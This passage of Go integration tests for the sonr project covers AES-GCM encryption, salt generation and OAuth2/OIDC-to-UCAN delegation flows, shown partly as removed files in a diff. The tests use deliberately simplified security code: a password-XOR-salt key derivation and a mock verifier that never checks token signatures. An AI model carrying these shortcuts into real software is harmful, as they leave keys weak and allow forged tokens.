// TestSecureMemoryWorkflow tests secure memory handling
func TestSecureMemoryWorkflow(t *testing.T) {
// Create secure bytes
sensitiveData := []byte("password123")
secureData := secure.FromBytes(sensitiveData)
// Use the data
data := secureData.Bytes()
require.Equal(t, sensitiveData, data)
// Clear the secure bytes
secureData.Clear()
// Verify data is nil after clearing (Clear sets data to nil, not zeroed bytes)
clearedData := secureData.Bytes()
require.Nil(t, clearedData)
}
// TestSaltUniqueness tests that salts are unique
func TestSaltUniqueness(t *testing.T) {
const numSalts = 100
salts := make(map[string]bool)
for i := 0; i < numSalts; i++ {
s, err := salt.Generate(16)
require.NoError(t, err)
// Use bytes instead of String() for uniqueness check
key := string(s.Bytes())
require.False(t, salts[key], "Duplicate salt generated")
salts[key] = true
}
}
// TestEncryptionWithSaltDerivation tests key derivation with salt
func TestEncryptionWithSaltDerivation(t *testing.T) {
password := []byte("user_password")
plaintext := []byte("sensitive information")
// Generate salt
saltObj, err := salt.Generate(32)
require.NoError(t, err)
saltValue := saltObj.Bytes()
// Derive key from password and salt (simplified for test)
// In production, use proper KDF like PBKDF2 or Argon2
key := make([]byte, 32)
copy(key, password)
for i := range key {
if i < len(saltValue) {
key[i] ^= saltValue[i]
}
}
// Encrypt with derived key
cipher, err := aead.NewAESGCM(key)
require.NoError(t, err)
ciphertext, err := cipher.Encrypt(plaintext, nil)
require.NoError(t, err)
// Decrypt with same derived key
decrypted, err := cipher.Decrypt(ciphertext, nil)
require.NoError(t, err)
require.Equal(t, plaintext, decrypted)
// Test with wrong salt (different key derivation)
wrongSaltObj, err := salt.Generate(32)
require.NoError(t, err)
wrongSalt := wrongSaltObj.Bytes()
wrongKey := make([]byte, 32)
copy(wrongKey, password)
for i := range wrongKey {
if i < len(wrongSalt) {
wrongKey[i] ^= wrongSalt[i]
}
}
wrongCipher, err := aead.NewAESGCM(wrongKey)
require.NoError(t, err)
_, err = wrongCipher.Decrypt(ciphertext, nil)
require.Error(t, err)
}
// TestMultipleEncryptionRounds tests multiple encryption/decryption cycles
func TestMultipleEncryptionRounds(t *testing.T) {
key := make([]byte, 32)
_, err := rand.Read(key)
require.NoError(t, err)
cipher, err := aead.NewAESGCM(key)
require.NoError(t, err)
// Perform multiple rounds
for i := 0; i < 100; i++ {
plaintext := make([]byte, 64)
_, err := rand.Read(plaintext)
require.NoError(t, err)
aad := []byte("round-specific AAD")
ciphertext, err := cipher.Encrypt(plaintext, aad)
require.NoError(t, err)
decrypted, err := cipher.Decrypt(ciphertext, aad)
require.NoError(t, err)
require.Equal(t, plaintext, decrypted, "Round %d failed", i)
}
}
// TestLargeDataEncryption tests encryption of large data
func TestLargeDataEncryption(t *testing.T) {
// Create 1MB of random data
largeData := make([]byte, 1024*1024)
_, err := rand.Read(largeData)
require.NoError(t, err)
key := make([]byte, 32)
_, err = rand.Read(key)
require.NoError(t, err)
cipher, err := aead.NewAESGCM(key)
require.NoError(t, err)
// Encrypt large data
ciphertext, err := cipher.Encrypt(largeData, nil)
require.NoError(t, err)
// Decrypt and verify
decrypted, err := cipher.Decrypt(ciphertext, nil)
require.NoError(t, err)
require.True(t, bytes.Equal(largeData, decrypted))
}
// BenchmarkEndToEndEncryption benchmarks complete encryption workflow
func BenchmarkEndToEndEncryption(b *testing.B) {
plaintext := make([]byte, 1024) // 1KB data
_, _ = rand.Read(plaintext)
key := make([]byte, 32)
_, _ = rand.Read(key)
cipher, _ := aead.NewAESGCM(key)
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
ciphertext, _ := cipher.Encrypt(plaintext, nil)
_, _ = cipher.Decrypt(ciphertext, nil)
}
}
// BenchmarkSaltGeneration benchmarks salt generation
func BenchmarkSaltGeneration(b *testing.B) {
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
_, _ = salt.Generate(32)
}
}
// BenchmarkSecureMemory benchmarks secure memory operations
func BenchmarkSecureMemory(b *testing.B) {
data := make([]byte, 1024)
_, _ = rand.Read(data)
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
secureData := secure.FromBytes(data)
_ = secureData.Bytes()
secureData.Clear()
}
}
-844
View File
@@ -1,844 +0,0 @@
package integration
import (
"context"
"crypto/ed25519"
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/stretchr/testify/suite"
"github.com/sonr-io/sonr/bridge/handlers"
"github.com/sonr-io/sonr/crypto/ucan"
)
// MockDIDResolver provides mock DID resolution for testing
type MockDIDResolver struct {
keys map[string]ed25519.PublicKey
}
func NewMockDIDResolver() *MockDIDResolver {
resolver := &MockDIDResolver{
keys: make(map[string]ed25519.PublicKey),
}
// Generate test keys for common DIDs
testDIDs := []string{
"did:sonr:oauth-provider",
"did:sonr:user-chain",
"did:sonr:client-a",
"did:sonr:client-b",
"did:sonr:client-c",
"did:sonr:user",
"did:sonr:perf-user",
"did:sonr:user123",
"did:sonr:test-user",
}
for _, did := range testDIDs {
pub, _, _ := ed25519.GenerateKey(rand.Reader)
resolver.keys[did] = pub
}
return resolver
}
func (r *MockDIDResolver) GetPublicKey(did string) (ed25519.PublicKey, error) {
if key, ok := r.keys[did]; ok {
return key, nil
}
// Generate a new key for unknown DIDs
pub, _, _ := ed25519.GenerateKey(rand.Reader)
r.keys[did] = pub
return pub, nil
}
// MockOAuth2Provider provides mock OAuth2 functionality for testing
type MockOAuth2Provider struct {
tokens map[string]string
}
func NewMockOAuth2Provider() *MockOAuth2Provider {
return &MockOAuth2Provider{
tokens: make(map[string]string),
}
}
func (m *MockOAuth2Provider) HandleAuthorize(w http.ResponseWriter, r *http.Request) {
// Mock authorization handler - returns test auth code
code := "test_auth_code_123"
redirectURI := r.URL.Query().Get("redirect_uri")
if redirectURI != "" {
http.Redirect(w, r, redirectURI+"?code="+code, http.StatusFound)
} else {
w.WriteHeader(http.StatusOK)
w.Write([]byte(code))
}
}
func (m *MockOAuth2Provider) HandleToken(w http.ResponseWriter, r *http.Request) {
// Mock token handler - returns test access token with UCAN
// Generate a mock UCAN token (simplified for testing)
mockUCAN := "eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJkaWQ6c29ucjpvYXV0aC1wcm92aWRlciIsImF1ZCI6ImRpZDpzb25yOnVzZXIxMjMiLCJhdHQiOlt7ImNhbiI6InZhdWx0OnJlYWQifSx7ImNhbiI6ImR3bjp3cml0ZSJ9XSwiZXhwIjoxNzM2MzY0MDAwLCJubmMiOiJ0ZXN0LW5vbmNlIn0.test_signature"
token := map[string]interface{}{
"access_token": "test_access_token",
"token_type": "Bearer",
"expires_in": 3600,
"ucan_token": mockUCAN,
"scope": "openid vault:read dwn:write",
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(token)
}
func (m *MockOAuth2Provider) HandleUserInfo(w http.ResponseWriter, r *http.Request) {
// Mock userinfo handler
userInfo := map[string]interface{}{
"sub": "did:sonr:test-user",
"name": "Test User",
"email": "test@sonr.id",
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(userInfo)
}
// OIDCUCANFlowTestSuite tests the complete OIDC → OAuth2 → UCAN flow
// MockBlockchainUCANSigner is a mock implementation for testing
type MockBlockchainUCANSigner struct {
issuerDID string
resolver *MockDIDResolver
}
func NewMockBlockchainUCANSigner(issuerDID string) *MockBlockchainUCANSigner {
return &MockBlockchainUCANSigner{
issuerDID: issuerDID,
resolver: NewMockDIDResolver(),
}
}
// CreateDelegationToken creates a mock UCAN token for testing
func (s *MockBlockchainUCANSigner) CreateDelegationToken(
issuer string,
audience string,
attenuations []ucan.Attenuation,
proofs []ucan.Proof,
expiration time.Duration,
) (string, error) {
// Build attenuations array for claims
var atts []map[string]interface{}
for _, att := range attenuations {
attMap := make(map[string]interface{})
// Handle different capability types
switch cap := att.Capability.(type) {
case *ucan.SimpleCapability:
attMap["can"] = cap.Action
case *ucan.MultiCapability:
// For multi-capability, store all actions as a joined string
if len(cap.Actions) > 0 {
attMap["can"] = strings.Join(cap.Actions, ",")
}
}
// Add resource if present
if att.Resource != nil {
if res, ok := att.Resource.(*handlers.SimpleResource); ok {
attMap["with"] = fmt.Sprintf("%s:%s", res.Scheme, res.Value)
}
}
atts = append(atts, attMap)
}
// Create claims
claims := map[string]interface{}{
"iss": issuer,
"aud": audience,
"exp": time.Now().Add(expiration).Unix(),
"att": atts,
}
claimsJSON, _ := json.Marshal(claims)
// Create a simplified mock UCAN token
token := fmt.Sprintf("eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9.%s.mock_signature",
base64.RawURLEncoding.EncodeToString(claimsJSON))
return token, nil
}
// VerifySignature verifies a mock UCAN token
func (s *MockBlockchainUCANSigner) VerifySignature(tokenString string) (*ucan.Token, error) {
// For testing, just check if it's a valid format
parts := strings.Split(tokenString, ".")
if len(parts) != 3 {
return nil, fmt.Errorf("invalid token format")
}
// Decode payload
payload, err := base64.RawURLEncoding.DecodeString(parts[1])
if err != nil {
return nil, err
}
var claims map[string]interface{}
if err := json.Unmarshal(payload, &claims); err != nil {
return nil, err
}
// Check expiration
if exp, ok := claims["exp"].(float64); ok {
if time.Now().Unix() > int64(exp) {
return nil, fmt.Errorf("token expired")
}
}
// Return a mock token
return &ucan.Token{
Issuer: claims["iss"].(string),
Audience: claims["aud"].(string),
}, nil
}
// ValidateDelegationChain validates a chain of UCAN tokens
func (s *MockBlockchainUCANSigner) ValidateDelegationChain(tokens []string) error {
// For testing, verify each token and check for privilege escalation
var prevCapabilities []string
for i, token := range tokens {
parts := strings.Split(token, ".")
if len(parts) != 3 {
return fmt.Errorf("invalid token format at position %d", i)
}
payload, err := base64.RawURLEncoding.DecodeString(parts[1])
if err != nil {
return fmt.Errorf("failed to decode token %d: %w", i, err)
}
var claims map[string]interface{}
if err := json.Unmarshal(payload, &claims); err != nil {
return fmt.Errorf("failed to unmarshal claims for token %d: %w", i, err)
}
// Check for privilege escalation (simplified for testing)
if att, ok := claims["att"].([]interface{}); ok && i > 0 {
for _, a := range att {
if attMap, ok := a.(map[string]interface{}); ok {
if cap, ok := attMap["can"].(string); ok {
// Split comma-separated capabilities
caps := strings.Split(cap, ",")
for _, c := range caps {
c = strings.TrimSpace(c)
// Check if this capability was in the previous token
if !contains(prevCapabilities, c) {
return fmt.Errorf("privilege escalation detected: trying to add '%s' permission", c)
}
}
}
}
}
}
// Store capabilities for next iteration
prevCapabilities = []string{}
if att, ok := claims["att"].([]interface{}); ok {
for _, a := range att {
if attMap, ok := a.(map[string]interface{}); ok {
if cap, ok := attMap["can"].(string); ok {
// Split and store all capabilities
caps := strings.Split(cap, ",")
for _, c := range caps {
prevCapabilities = append(prevCapabilities, strings.TrimSpace(c))
}
}
}
}
}
}
return nil
}
func contains(slice []string, item string) bool {
for _, s := range slice {
if s == item {
return true
}
}
return false
}
type OIDCUCANFlowTestSuite struct {
suite.Suite
oauth2Provider *MockOAuth2Provider
ucanDelegator *handlers.UCANDelegator
tokenExchange *handlers.TokenExchangeHandler
refreshHandler *handlers.RefreshTokenHandler
testServer *httptest.Server
clientStore *MockClientStore
tokenStore *MockTokenStore
mockSigner *MockBlockchainUCANSigner
}
// MockClientStore implements handlers.ClientStore for testing
type MockClientStore struct {
clients map[string]*handlers.OAuth2Client
}
func NewMockClientStore() *MockClientStore {
return &MockClientStore{
clients: make(map[string]*handlers.OAuth2Client),
}
}
func (m *MockClientStore) GetClient(ctx context.Context, clientID string) (*handlers.OAuth2Client, error) {
client, exists := m.clients[clientID]
if !exists {
return nil, handlers.ErrClientNotFound
}
return client, nil
}
func (m *MockClientStore) ValidateClientCredentials(ctx context.Context, clientID, clientSecret string) error {
client, exists := m.clients[clientID]
if !exists || client.ClientSecret != clientSecret {
return handlers.ErrInvalidClientCredentials
}
return nil
}
// MockTokenStore implements handlers.TokenStore for testing
type MockTokenStore struct {
tokens map[string]*handlers.StoredToken
}
func NewMockTokenStore() *MockTokenStore {
return &MockTokenStore{
tokens: make(map[string]*handlers.StoredToken),
}
}
func (m *MockTokenStore) GetToken(ctx context.Context, tokenID string) (*handlers.StoredToken, error) {
token, exists := m.tokens[tokenID]
if !exists {
return nil, handlers.ErrTokenNotFound
}
return token, nil
}
func (m *MockTokenStore) StoreToken(ctx context.Context, token *handlers.StoredToken) error {
m.tokens[token.TokenID] = token
return nil
}
func (m *MockTokenStore) RevokeToken(ctx context.Context, tokenID string) error {
delete(m.tokens, tokenID)
return nil
}
func (suite *OIDCUCANFlowTestSuite) SetupSuite() {
// Initialize stores
suite.clientStore = NewMockClientStore()
suite.tokenStore = NewMockTokenStore()
// Add test client
suite.clientStore.clients["test-client"] = &handlers.OAuth2Client{
ClientID: "test-client",
ClientSecret: "test-secret",
RedirectURIs: []string{"https://example.com/callback"},
AllowedScopes: []string{"openid", "profile", "vault:read", "dwn:write"},
Metadata: map[string]string{
"client_did": "did:sonr:test-client",
},
}
// Initialize handlers with mock signer
suite.mockSigner = NewMockBlockchainUCANSigner("did:sonr:oauth-provider")
// Create a real signer for delegator and handlers (using mock resolver internally)
realSigner, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
suite.ucanDelegator = handlers.NewUCANDelegator(realSigner)
suite.oauth2Provider = NewMockOAuth2Provider()
suite.tokenExchange = handlers.NewTokenExchangeHandler(suite.ucanDelegator, realSigner, suite.tokenStore, suite.clientStore)
suite.refreshHandler = handlers.NewRefreshTokenHandler(suite.ucanDelegator, realSigner, suite.tokenStore, suite.clientStore)
// Setup test server
mux := http.NewServeMux()
mux.HandleFunc("/.well-known/openid-configuration", suite.handleOIDCDiscovery)
mux.HandleFunc("/oauth/authorize", suite.oauth2Provider.HandleAuthorize)
mux.HandleFunc("/oauth/token", suite.handleToken)
mux.HandleFunc("/oauth/userinfo", suite.oauth2Provider.HandleUserInfo)
suite.testServer = httptest.NewServer(mux)
}
func (suite *OIDCUCANFlowTestSuite) TearDownSuite() {
suite.testServer.Close()
}
func (suite *OIDCUCANFlowTestSuite) handleOIDCDiscovery(w http.ResponseWriter, r *http.Request) {
discovery := map[string]interface{}{
"issuer": suite.testServer.URL,
"authorization_endpoint": suite.testServer.URL + "/oauth/authorize",
"token_endpoint": suite.testServer.URL + "/oauth/token",
"userinfo_endpoint": suite.testServer.URL + "/oauth/userinfo",
"jwks_uri": suite.testServer.URL + "/.well-known/jwks.json",
"scopes_supported": []string{"openid", "profile", "email", "vault:read", "vault:write", "dwn:read", "dwn:write"},
"response_types_supported": []string{"code", "token", "id_token"},
"grant_types_supported": []string{"authorization_code", "refresh_token", "urn:ietf:params:oauth:grant-type:token-exchange"},
"token_types_supported": []string{"Bearer", "UCAN"},
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(discovery)
}
func (suite *OIDCUCANFlowTestSuite) handleToken(w http.ResponseWriter, r *http.Request) {
grantType := r.FormValue("grant_type")
switch grantType {
case "authorization_code":
suite.oauth2Provider.HandleToken(w, r)
case "refresh_token":
suite.refreshHandler.HandleRefreshToken(w, r)
case "urn:ietf:params:oauth:grant-type:token-exchange":
suite.tokenExchange.HandleTokenExchange(w, r)
default:
http.Error(w, "unsupported_grant_type", http.StatusBadRequest)
}
}
// TestOIDCDiscovery tests OIDC discovery endpoint
func (suite *OIDCUCANFlowTestSuite) TestOIDCDiscovery() {
resp, err := http.Get(suite.testServer.URL + "/.well-known/openid-configuration")
suite.Require().NoError(err)
defer resp.Body.Close()
suite.Equal(http.StatusOK, resp.StatusCode)
var discovery map[string]interface{}
err = json.NewDecoder(resp.Body).Decode(&discovery)
suite.Require().NoError(err)
// Verify required OIDC fields
suite.Contains(discovery, "issuer")
suite.Contains(discovery, "authorization_endpoint")
suite.Contains(discovery, "token_endpoint")
suite.Contains(discovery, "jwks_uri")
suite.Contains(discovery, "scopes_supported")
// Verify UCAN-specific extensions
scopes := discovery["scopes_supported"].([]interface{})
suite.Contains(scopes, "vault:read")
suite.Contains(scopes, "dwn:write")
grantTypes := discovery["grant_types_supported"].([]interface{})
suite.Contains(grantTypes, "urn:ietf:params:oauth:grant-type:token-exchange")
}
// TestAuthorizationCodeToUCAN tests authorization code flow that issues UCAN tokens
func (suite *OIDCUCANFlowTestSuite) TestAuthorizationCodeToUCAN() {
// Step 1: Create authorization code
authCode := "test-auth-code"
userDID := "did:sonr:user123"
scopes := []string{"openid", "vault:read", "dwn:write"}
// Store auth code (in real flow, this happens during authorize)
suite.tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
TokenID: authCode,
TokenType: "authorization_code",
ClientID: "test-client",
UserDID: userDID,
Scopes: scopes,
ExpiresAt: time.Now().Add(10 * time.Minute),
})
// Step 2: Exchange authorization code for tokens
req := httptest.NewRequest("POST", "/oauth/token", strings.NewReader(
"grant_type=authorization_code&code="+authCode+"&client_id=test-client",
))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.SetBasicAuth("test-client", "test-secret")
w := httptest.NewRecorder()
suite.handleToken(w, req)
suite.Equal(http.StatusOK, w.Code)
var tokenResp map[string]interface{}
err := json.NewDecoder(w.Body).Decode(&tokenResp)
suite.Require().NoError(err)
// Verify response contains UCAN token
suite.Contains(tokenResp, "access_token")
suite.Contains(tokenResp, "ucan_token")
suite.Contains(tokenResp, "token_type")
suite.Equal("Bearer", tokenResp["token_type"])
// Step 3: Verify UCAN token structure
ucanTokenStr, ok := tokenResp["ucan_token"].(string)
suite.True(ok, "UCAN token should be a string")
suite.NotEmpty(ucanTokenStr)
// Verify UCAN can be parsed (basic validation)
suite.Contains(ucanTokenStr, ".") // JWT format
}
// TestTokenExchangeFlow tests RFC 8693 token exchange
func (suite *OIDCUCANFlowTestSuite) TestTokenExchangeFlow() {
// Setup: Create an access token
accessToken := "test-access-token"
userDID := "did:sonr:user456"
suite.tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
TokenID: accessToken,
TokenType: "access_token",
AccessToken: accessToken,
ClientID: "test-client",
UserDID: userDID,
Scopes: []string{"vault:read", "dwn:read"},
ExpiresAt: time.Now().Add(time.Hour),
UCANToken: "dummy.ucan.token",
})
// Perform token exchange: Access Token → UCAN
exchangeReq := handlers.TokenExchangeRequest{
GrantType: "urn:ietf:params:oauth:grant-type:token-exchange",
SubjectToken: accessToken,
SubjectTokenType: "urn:ietf:params:oauth:token-type:access_token",
RequestedTokenType: "urn:x-oath:params:oauth:token-type:ucan",
Scope: "vault:read", // Request subset of scopes
}
body, _ := json.Marshal(exchangeReq)
req := httptest.NewRequest("POST", "/oauth/token", strings.NewReader(string(body)))
req.Header.Set("Content-Type", "application/json")
req.SetBasicAuth("test-client", "test-secret")
w := httptest.NewRecorder()
suite.tokenExchange.HandleTokenExchange(w, req)
suite.Equal(http.StatusOK, w.Code)
var exchangeResp handlers.TokenExchangeResponse
err := json.NewDecoder(w.Body).Decode(&exchangeResp)
suite.Require().NoError(err)
// Verify exchange response
suite.NotEmpty(exchangeResp.AccessToken)
suite.Equal("urn:x-oath:params:oauth:token-type:ucan", exchangeResp.IssuedTokenType)
suite.Equal("Bearer", exchangeResp.TokenType)
suite.Equal("vault:read", exchangeResp.Scope)
}
// TestRefreshTokenWithUCANChain tests refresh token flow with UCAN delegation chains
func (suite *OIDCUCANFlowTestSuite) TestRefreshTokenWithUCANChain() {
// Setup: Create refresh token
refreshToken := "test-refresh-token"
userDID := "did:sonr:user789"
suite.tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
TokenID: refreshToken,
TokenType: "refresh_token",
RefreshToken: refreshToken,
ClientID: "test-client",
UserDID: userDID,
Scopes: []string{"vault:read", "vault:write", "dwn:read"},
ExpiresAt: time.Now().Add(30 * 24 * time.Hour),
})
// First refresh - maintain all scopes
req1 := httptest.NewRequest("POST", "/oauth/token", strings.NewReader(
"grant_type=refresh_token&refresh_token="+refreshToken,
))
req1.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req1.SetBasicAuth("test-client", "test-secret")
w1 := httptest.NewRecorder()
suite.handleToken(w1, req1) // Use handleToken instead, which routes to refreshHandler
// Debug: print response if not OK
if w1.Code != http.StatusOK {
suite.T().Logf("Refresh token response: %s", w1.Body.String())
}
suite.Equal(http.StatusOK, w1.Code)
var resp1 handlers.RefreshTokenResponse
err := json.NewDecoder(w1.Body).Decode(&resp1)
suite.Require().NoError(err)
suite.NotEmpty(resp1.AccessToken)
suite.NotEmpty(resp1.UCANToken)
suite.Contains(resp1.Scope, "vault:read")
suite.Contains(resp1.Scope, "vault:write")
// Second refresh - attenuate scopes (reduce permissions)
newRefreshToken := resp1.RefreshToken
if newRefreshToken == "" {
newRefreshToken = refreshToken // Use original if not rotated
}
req2 := httptest.NewRequest("POST", "/oauth/token", strings.NewReader(
"grant_type=refresh_token&refresh_token="+newRefreshToken+"&scope=vault:read",
))
req2.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req2.SetBasicAuth("test-client", "test-secret")
w2 := httptest.NewRecorder()
suite.handleToken(w2, req2) // Use handleToken instead
// Debug: print response if not OK
if w2.Code != http.StatusOK {
suite.T().Logf("Second refresh response: %s", w2.Body.String())
}
// Should succeed with reduced scopes
suite.Equal(http.StatusOK, w2.Code)
var resp2 handlers.RefreshTokenResponse
err = json.NewDecoder(w2.Body).Decode(&resp2)
suite.Require().NoError(err)
suite.Equal("vault:read", resp2.Scope) // Only requested scope
suite.NotContains(resp2.Scope, "vault:write") // Write permission removed
}
// TestCrossModuleAuthorization tests authorization across multiple modules
func (suite *OIDCUCANFlowTestSuite) TestCrossModuleAuthorization() {
// Create UCAN token with cross-module capabilities
userDID := "did:sonr:user-cross"
clientDID := "did:sonr:client-cross"
// Map OAuth scopes to multiple module capabilities
scopes := []string{"vault:read", "dwn:write", "service:manage", "did:write"}
// Create delegation with cross-module permissions
ucanToken, err := suite.ucanDelegator.CreateDelegation(
userDID,
clientDID,
scopes,
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
suite.NotNil(ucanToken)
// Verify token contains attenuations for all modules
suite.Require().NotEmpty(ucanToken.Attenuations)
// Check that each module has appropriate capabilities
moduleCapabilities := make(map[string][]string)
for _, att := range ucanToken.Attenuations {
scheme := att.Resource.GetScheme()
actions := att.Capability.GetActions()
moduleCapabilities[scheme] = append(moduleCapabilities[scheme], actions...)
}
// Verify all modules are represented
suite.Contains(moduleCapabilities, "vault")
suite.Contains(moduleCapabilities, "dwn")
suite.Contains(moduleCapabilities, "service")
suite.Contains(moduleCapabilities, "did")
// Verify appropriate actions per module
suite.Contains(moduleCapabilities["vault"], "read")
suite.Contains(moduleCapabilities["dwn"], "write")
suite.Contains(moduleCapabilities["did"], "write")
}
// TestDelegationChainValidation tests validation of UCAN delegation chains
func (suite *OIDCUCANFlowTestSuite) TestDelegationChainValidation() {
signer := suite.mockSigner
// Create initial delegation: User → Client A
userDID := "did:sonr:user-chain"
clientA := "did:sonr:client-a"
token1, err := signer.CreateDelegationToken(
userDID,
clientA,
[]ucan.Attenuation{
{
Capability: &ucan.MultiCapability{Actions: []string{"read", "write"}},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
},
},
nil, // No proofs for initial delegation
time.Hour,
)
suite.Require().NoError(err)
// Create second delegation: Client A → Client B (with attenuation)
clientB := "did:sonr:client-b"
token2, err := signer.CreateDelegationToken(
clientA,
clientB,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"}, // Reduced permissions
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
},
},
[]ucan.Proof{ucan.Proof(token1)}, // Include proof
time.Hour,
)
suite.Require().NoError(err)
// Validate delegation chain
err = signer.ValidateDelegationChain([]string{token1, token2})
suite.NoError(err, "Valid delegation chain should pass validation")
// Test invalid chain (trying to escalate privileges)
invalidToken, err := signer.CreateDelegationToken(
clientB,
"did:sonr:client-c",
[]ucan.Attenuation{
{
Capability: &ucan.MultiCapability{Actions: []string{"read", "write", "delete"}}, // Escalation!
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
},
},
[]ucan.Proof{ucan.Proof(token2)},
time.Hour,
)
suite.Require().NoError(err) // Token creation succeeds
// But validation should fail due to privilege escalation
err = signer.ValidateDelegationChain([]string{token1, token2, invalidToken})
suite.Error(err, "Chain with privilege escalation should fail validation")
}
// TestPerformanceBenchmark tests authorization performance
func (suite *OIDCUCANFlowTestSuite) TestPerformanceBenchmark() {
iterations := 100
maxDuration := 50 * time.Millisecond // Target: < 50ms per operation
userDID := "did:sonr:perf-user"
clientDID := "did:sonr:perf-client"
scopes := []string{"vault:read", "dwn:write"}
// Benchmark UCAN token creation
start := time.Now()
for i := 0; i < iterations; i++ {
_, err := suite.ucanDelegator.CreateDelegation(
userDID,
clientDID,
scopes,
time.Now().Add(time.Hour),
)
suite.Require().NoError(err)
}
avgCreation := time.Since(start) / time.Duration(iterations)
suite.Less(avgCreation, maxDuration,
"Average UCAN creation time (%v) should be less than %v", avgCreation, maxDuration)
// Benchmark token validation
signer := suite.mockSigner
testToken, _ := signer.CreateDelegationToken(
userDID,
clientDID,
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
},
},
nil,
time.Hour,
)
start = time.Now()
for i := 0; i < iterations; i++ {
_, err := signer.VerifySignature(testToken)
suite.Require().NoError(err)
}
avgValidation := time.Since(start) / time.Duration(iterations)
suite.Less(avgValidation, maxDuration,
"Average UCAN validation time (%v) should be less than %v", avgValidation, maxDuration)
// Log performance metrics
suite.T().Logf("Performance Metrics:")
suite.T().Logf(" UCAN Creation: %v avg", avgCreation)
suite.T().Logf(" UCAN Validation: %v avg", avgValidation)
}
// TestSecurityAudit performs security validation of delegation chains
func (suite *OIDCUCANFlowTestSuite) TestSecurityAudit() {
signer := suite.mockSigner
// Test 1: Expired token rejection
expiredToken, err := signer.CreateDelegationToken(
"did:sonr:user",
"did:sonr:client",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
-1*time.Hour, // Already expired
)
suite.Require().NoError(err)
_, err = signer.VerifySignature(expiredToken)
suite.Error(err, "Expired token should fail verification")
// Test 2: Malformed token rejection
malformedToken := "not.a.valid.token"
_, err = signer.VerifySignature(malformedToken)
suite.Error(err, "Malformed token should fail verification")
// Test 3: Token replay protection
validToken, err := signer.CreateDelegationToken(
"did:sonr:user",
"did:sonr:client",
[]ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
},
},
nil,
time.Hour,
)
suite.Require().NoError(err)
// First use should succeed
_, err = signer.VerifySignature(validToken)
suite.NoError(err)
// Multiple uses should also succeed (tokens are bearer tokens)
// But in production, nonce/jti tracking would prevent replay
_, err = signer.VerifySignature(validToken)
suite.NoError(err)
// Test 4: Scope boundary enforcement
err = suite.ucanDelegator.ValidateDelegation(
&ucan.Token{
Issuer: "did:sonr:user",
Audience: "did:sonr:client",
ExpiresAt: time.Now().Add(time.Hour).Unix(),
Attenuations: []ucan.Attenuation{
{
Capability: &ucan.SimpleCapability{Action: "read"},
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "user"},
},
},
},
[]string{"vault:write"}, // Requesting more than granted
)
suite.Error(err, "Should reject request for unpermitted scope")
}
func TestOIDCUCANFlowSuite(t *testing.T) {
suite.Run(t, new(OIDCUCANFlowTestSuite))
}
@@ -1,632 +0,0 @@
package integration
import (
"context"
"crypto/ed25519"
"crypto/rand"
"encoding/base64"
"fmt"
"net/http"
"net/http/httptest"
"runtime"
"strings"
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/sonr-io/sonr/bridge/handlers"
"github.com/sonr-io/sonr/crypto/ucan"
didtypes "github.com/sonr-io/sonr/x/did/types"
svctypes "github.com/sonr-io/sonr/x/svc/types"
)
// perfTestDIDKeeper implements DIDKeeperInterface for performance tests
type perfTestDIDKeeper struct {
didDocuments map[string]*didtypes.DIDDocument
}
func (m *perfTestDIDKeeper) GetDIDDocument(ctx context.Context, did string) (*didtypes.DIDDocument, error) {
if doc, ok := m.didDocuments[did]; ok {
return doc, nil
}
return nil, fmt.Errorf("DID document not found: %s", did)
}
func (m *perfTestDIDKeeper) GetVerificationMethod(ctx context.Context, did string, methodID string) (*didtypes.VerificationMethod, error) {
doc, err := m.GetDIDDocument(ctx, did)
if err != nil {
return nil, err
}
for _, vm := range doc.VerificationMethod {
if vm.Id == methodID {
return vm, nil
}
}
return nil, fmt.Errorf("verification method not found")
}
// createTestDIDKeeper creates a mock DID keeper with test DIDs
func createTestDIDKeeper() *perfTestDIDKeeper {
pubKey, _, _ := ed25519.GenerateKey(rand.Reader)
return &perfTestDIDKeeper{
didDocuments: map[string]*didtypes.DIDDocument{
"did:sonr:test-user": {
Id: "did:sonr:test-user",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:test-user#keys-1",
Controller: "did:sonr:test-user",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: base64.StdEncoding.EncodeToString(pubKey),
},
},
},
"did:sonr:test-client": {
Id: "did:sonr:test-client",
VerificationMethod: []*didtypes.VerificationMethod{
{
Id: "did:sonr:test-client#keys-1",
Controller: "did:sonr:test-client",
VerificationMethodKind: "Ed25519VerificationKey2020",
PublicKeyMultibase: base64.StdEncoding.EncodeToString(pubKey),
},
},
},
},
}
}
// BenchmarkUCANCreation benchmarks UCAN token creation performance
func BenchmarkUCANCreation(b *testing.B) {
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
